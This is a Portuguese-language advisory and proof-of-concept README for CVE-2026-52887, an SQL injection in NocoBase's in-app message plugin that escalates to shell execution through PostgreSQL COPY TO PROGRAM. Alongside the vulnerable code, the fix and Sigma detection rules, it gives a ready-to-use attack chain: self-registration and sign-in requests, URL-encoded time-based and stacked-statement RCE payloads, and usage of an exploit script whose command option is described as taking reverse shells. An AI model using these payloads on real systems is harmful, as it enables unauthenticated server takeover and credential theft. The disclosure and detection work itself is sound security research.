
CVE-2026-52887 — Injeção SQL no NocoBase -> RCE como superusuário do PostgreSQL (filtro myInAppChannels:list, CVSS 10.0). PoC do autor + análise de código-fonte + laboratório docker.
Injeção de SQL na ação myInAppChannels:list do
NocoBase
@nocobase/plugin-notification-in-app-message (≤ 2.0.60). O
parâmetro de requisição filter[latestMsgReceiveTimestamp][$lt] é interpolado
diretamente em uma string SQL crua Sequelize.literal() sem escape ou binding.
Através do suporte a stacked statements do driver pg do PostgreSQL, a injeção
alcança COPY … TO PROGRAM e, como o compose padrão do fornecedor cria o
papel (role) nocobase do banco como superusuário, isso resulta em execução
de comandos shell como usuário postgres do SO. O endpoint exige um usuário
logado, mas o plugin padrão auth-basic é distribuído com auto-cadastro habilitado,
então qualquer visitante anônimo pode se registrar e alcançá-lo.
| CVE | CVE-2026-52887 |
| Produto | NocoBase (@nocobase/plugin-notification-in-app-message) |
| Afetado | ≤ 2.0.60 (verificado em nocobase/nocobase:2.0.57) |
| Corrigido | 2.0.61 |
| Classe | Injeção de SQL (CWE-89) → execução de comandos do SO |
| CVSS 3.1 | 10.0 CRÍTICO — AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H (GitHub CNA) |
| Auth | Efetivamente não autenticado — auth-basic padrão com allowSignUp: true |
| Status | CONFIRMADO VULNERÁVEL — verificado de ponta a ponta em 2.0.57 |
packages/plugins/@nocobase/plugin-notification-in-app-message/src/server/defineMyInAppChannels.ts,
handler de myInAppChannels:list (2.0.57):
const latestMsgReceiveTSFilter = filter?.latestMsgReceiveTimestamp?.$lt
? Sequelize.literal(`${latestMsgReceiveTimestampSQL} < ${filter.latestMsgReceiveTimestamp.$lt}`)
: null;
filter.latestMsgReceiveTimestamp.$lt vem direto da query da requisição
(filter[latestMsgReceiveTimestamp][$lt]=…) e é concatenado em um
Sequelize.literal() — SQL cru, sem binding de parâmetros, sem coerção de tipo. Um
atacante fecha a comparação e anexa SQL arbitrário.
pg, que permite stacked
statements (… ; …). O fragmento injetado anexa uma segunda declaração.docker-compose.yml padrão do fornecedor cria o papel nocobase via
POSTGRES_USER da imagem postgres, que é sempre um superusuário.COPY (…) TO PROGRAM '<shell>', executando <shell> como
o usuário postgres do SO dentro do container do banco.O ACL de myInAppChannels é loggedIn, mas o plugin padrão auth-basic é distribuído
com allowSignUp: true. Um atacante anônimo se auto-registra
(POST /api/auth:signUp?authenticator=basic), faz login para obter um bearer token e
prossegue — portanto, em uma instalação padrão, isso não é autenticado na prática.
defineMyInAppChannels.ts adiciona parseLatestMsgReceiveTimestampLt(), que força
o valor através de Number() (rejeitando entrada não numérica / não finita com 400)
e passa a usar uma comparação com binding:
Sequelize.where(Sequelize.literal(latestMsgReceiveTimestampSQL), Op.lt, latestMsgReceiveTimestampLt)
$ python3 exploit.py -u http://127.0.0.1:13000 --cmd "id > /tmp/proof 2>&1"
[+] self-registered 'lab_operator' via auth-basic signUp
[+] signed in, bearer token acquired
[*] time-based: PG_SLEEP(5)=5.03s control=0.02s
[+] SQL injection confirmed (time-based)
[+] COPY TO PROGRAM sent (HTTP 200) - 'id > /tmp/proof 2>&1' executed as the postgres OS user
$ docker exec nb-pg cat /tmp/proof
uid=999(postgres) gid=999(postgres) groups=999(postgres),101(ssl-cert)
Cadeia HTTP crua:
POST /api/auth:signUp?authenticator=basic {"username":"a","password":"P!ssw0rd1","confirm_password":"P!ssw0rd1"}
POST /api/auth:signIn?authenticator=basic {"account":"a","password":"P!ssw0rd1"} → {"data":{"token":"…"}}
# oracle baseado em tempo (≈5s de atraso):
GET /api/myInAppChannels:list?filter[latestMsgReceiveTimestamp][$lt]=0)%20AND%201=(SELECT%201%20FROM%20PG_SLEEP(5))--%20a
Authorization: Bearer <token>
# RCE via stacked statement:
GET /api/myInAppChannels:list?filter[latestMsgReceiveTimestamp][$lt]=0);%20COPY%20(SELECT%201)%20TO%20PROGRAM%20'id%20>%20/tmp/proof'; --%20a
Authorization: Bearer <token>
--cmd aceita qualquer comando shell (reverse shell, callback OAST, leitura de linhas
do banco via COPY (SELECT …) TO PROGRAM 'cat > /tmp/x', etc.).
Não há bridge Docker neste host, então execute ambos os containers com rede do host:
docker run -d --name nb-pg --network host \
-e POSTGRES_USER=nocobase -e POSTGRES_PASSWORD=nocobase -e POSTGRES_DB=nocobase postgres:16
docker run -d --name nb-app --network host \
-e DB_DIALECT=postgres -e DB_HOST=127.0.0.1 -e DB_PORT=5432 \
-e DB_DATABASE=nocobase -e DB_USER=nocobase -e DB_PASSWORD=nocobase \
-e APP_KEY=change-me -e APP_PORT=13000 nocobase/nocobase:2.0.57
# NocoBase auto-installs and serves on http://127.0.0.1:13000
python3 exploit.py -u http://127.0.0.1:13000 --cmd "id > /tmp/proof 2>&1"
docker exec nb-pg cat /tmp/proof
Limite da versão corrigida (rejeitado):
docker run ... nocobase/nocobase:2.0.61 # same steps
# the PG_SLEEP / COPY TO PROGRAM payloads return HTTP 400; a numeric $lt still returns 200
Consulte EVIDENCE.txt para o transcript capturado e
ANALYSIS.md para a análise em nível de código-fonte.
CONFIRMADO VULNERÁVEL em nocobase/nocobase:2.0.57, verificado por duas técnicas
independentes:
PG_SLEEP(5) atrasa a resposta ~5,0s enquanto
uma requisição idêntica sem o sleep retorna em ~0,03s no mesmo endpoint
(descarta rate limiter / artefato de retry).uid=999(postgres) gid=999(postgres), a saída real de id(1) executado como o
usuário postgres do SO, não um eco do payload.CORRIGIDO em nocobase/nocobase:2.0.61 — ambos os payloads retornam HTTP 400 enquanto
um $lt numérico ainda retorna 200.
Execução remota de código como o usuário postgres do SO dentro do container do banco: leitura/escrita completa do banco do NocoBase, exposição de todos os segredos e credenciais de usuário armazenados, e uma base para movimento lateral. Acessível por qualquer visitante anônimo em uma instalação padrão.
COPY … TO PROGRAM).allowSignUp: false) onde não for necessário.Requisições myInAppChannels:list cujo valor de filter[latestMsgReceiveTimestamp][$lt]
não seja um número simples, e logs do PostgreSQL contendo COPY … TO PROGRAM:
GET /api/myInAppChannels:list with filter[latestMsgReceiveTimestamp][$lt] containing
non-numeric characters: ')', ';', 'SELECT', 'PG_SLEEP', 'COPY', '--'
postgres: statement: COPY (...) TO PROGRAM '...'
Sigma (log de acesso do servidor web):
title: NocoBase myInAppChannels SQL injection (CVE-2026-52887)
logsource: { category: webserver }
detection:
selection:
cs-uri-stem|contains: '/api/myInAppChannels:list'
cs-uri-query|contains:
- 'PG_SLEEP'
- 'TO PROGRAM'
- '$lt]=0)'
- '$lt]=0);'
condition: selection
level: critical
MIT. © Caio Fabrício (BiiTts).